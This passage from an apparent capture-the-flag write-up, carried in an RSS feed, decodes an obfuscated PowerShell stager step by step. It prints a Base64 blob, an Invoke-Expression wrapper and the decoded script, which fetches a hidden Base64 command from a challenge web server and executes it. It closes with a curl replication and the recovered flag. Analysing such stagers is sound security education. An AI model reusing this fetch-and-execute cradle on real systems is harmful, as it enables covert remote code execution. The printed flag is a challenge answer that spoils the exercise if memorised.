IDY1LDExMCwgODAsIDY3ICwgNjkgLCAxMTYgLCA3Niw4MyAsIDEwMywgMTE3ICwgNzUgLDEwNiAsIDU2ICwxMTIgLDc2ICwgODMsNDgsNDMsNzQsMTIxICwgMTA3ICwxMDMgLCAxMDEsMTE5ICw0OCAsNzUsIDczLDY3ICwgNjUgLDEwMyw3MyAsIDY3ICwgODIsIDUwLDg5ICw4NywgMTIwLDQ5ICw5MCAsODMsIDY1ICwgNTcgLCA3MywgNjcsIDgyLCAxMTYgLDg5LCA4OCAsIDgyLDEwNiAsOTcgLDcxLCA4NiwxMjIsIDg3LCAxMjIsNzAsMTAwICwgNjgsIDgxICwxMTEsMTAzICwgNzMgLDY3LDY1ICwgMTAzICwgNzQgLCA3MSwgNzggLDExOCwgOTggLDg3ICw0OSwgMTA0ICw5OCAsMTA5ICw4MSwgMTAzLDgwICwgODMgLCA2NiwgOTggLDg1ICwgNTEgLCAxMDgsIDEyMiAsIDEwMCAsNzEsODYsIDExNiwgNzYsMTA4ICw4MiwgMTA4ICwgMTAxLDcyLDgxLDExNyAsODIsODcgLDUzICwxMDYgLDk4ICwgNTAsIDgyICwgMTEyICw5OCwxMDkgLDEwMCwxMDAgLCA3OSAsIDEwNiAsIDExMiAsODYgLDg2ICwgNjkgLCA4OSw1MiAsNzYsMTA3ICwgMTAwLDEwOCwgMTAwICwgNzAsIDc4LDQ4ICw5OSwxMDkgLCAxMDgsMTE3ICwgOTAgLCAxMjEsIDEwNCAsIDk4ICwgODUsIDUxLCAxMDggLDEyMiwgMTAwLCA3MSwgODYsIDExNiAsIDc2ICwgMTA3LCA3OCAsMTE4ICw5OCwgMTEwLDkwLCAxMDggLCA5OSwgMTEwLDgyLDEwMCwgNzksMTA2LDExMiwgNzEsOTksMTA5LCA1NywgMTE2ICwgODEgLCAxMDkgLCA3MCAsIDEyMiAsIDkwICwgODQsODkgLCA0OCAsIDg1LCA1MSAsIDgyLDEyMSAsIDk3ICw4Nyw1MywgMTEwLDc1LDY3LDgyICw1MCw4OSAsIDg3ICwgMTIwICwgNDkgLDkwICwgODMgLCAxMDcgLDExMiAsNjgsIDgxLDExMSwgMTAzICwgNzMsIDY3LCA2NSAsMTAzICw4MyAsODcsIDUzICw1MCAsIDk4ICwgNTAsIDExNiAsIDEwOCwgNzYsODUsODYgLCA1MiAsOTkgLDcyLCA3NCAsMTA4LCA5OSw1MSAsNzgsIDExMiAsOTgsIDUwICwgNTIgLCAxMDMsIDc0LCA3MSwgNzgsMTE4LCA5OCwgODcgLCA0OSAsMTA0ICw5OCwgMTA5ICw4MSAsIDc4ICw2NyAsMTEwLDQ4ICwgMTEyICwgMzQsNDEsIDQxICwgNDEsMzkK">CyberChef </a>to decode them, which produced a second PowerShell command which uses Invoke-Expression (iex) to execute a Base64-encoded string.</p><pre>$OSVER = &#39;iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(&quot;IyAkUE9SVCBiZWxvdyBpcyBkeW5hbWljIHRvIHRoZSBydW5uaW5nIHNlcnZpY2Ugb2YgdGhlIGBTdGFydGAgYnV0dG9uDQpAKCRodG1sID0gKEludm9rZS1XZWJSZXF1ZXN0IGh0dHA6Ly9jaGFsbGVuZ2UuY3RmLmdhbWVzOiRQT1JUIC1IZWFkZXJzIEB7QXV0aG9yaXphdGlvbj0oIkJhc2ljIFltRmphMlJ2YjNJNmRHaHBjMTlwYzE5MGFHVmZhSFIwY0Y5elpYSjJaWEpmYzJWamNtVjAiKX0gLVVzZUJhc2ljUGFyc2luZykuQ29udGVudA0KaWYgKCRodG1sIC1tYXRjaCAnPCEtLSguKj8pLS0+Jykgew0KICAgICR2YWx1ZSA9ICRtYXRjaGVzWzFdDQogICAgJGNvbW1hbmQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWx1ZSkpDQogICAgSW52b2tlLUV4cHJlc3Npb24gJGNvbW1hbmQNCn0p&quot;)))&#39;</pre><p>Decoding this yielded the following:</p><pre># $PORT below is dynamic to the running service of the `Start` button<br>@($html = (Invoke-WebRequest http://challenge.ctf.games:$PORT -Headers @{Authorization=(&quot;Basic YmFja2Rvb3I6dGhpc19pc190aGVfaHR0cF9zZXJ2ZXJfc2VjcmV0&quot;)} -UseBasicParsing).Content<br>if ($html -match &#39;&lt;!--(.*?)--&gt;&#39;) {<br>    $value = $matches[1]<br>    $command = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($value))<br>    Invoke-Expression $command<br>})</pre><p>The above PowerShell code makes a web request to the given instance with header Authorization: Basic YmFja2Rvb3I6dGhpc19pc190aGVfaHR0cF9zZXJ2ZXJfc2VjcmV0 and returns a Base64-encoded string within a HTML comment (&lt;!-- --&gt;).</p><p>To obtain the flag, we replicated the web request via curl as follows:</p><pre>$ curl -s -H &quot;Authorization: Basic YmFja2Rvb3I6dGhpc19pc190aGVfaHR0cF9zZXJ2ZXJfc2VjcmV0&quot; http://challenge.ctf.games:[PORT]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bCOGOOtZnrpq2HPBZhsg4A.png" /><figcaption>cURL request to instance to retrieve the flag</figcaption></figure><pre>flag{e15a6c0168ee4de7381f502439014032}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5293745564b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>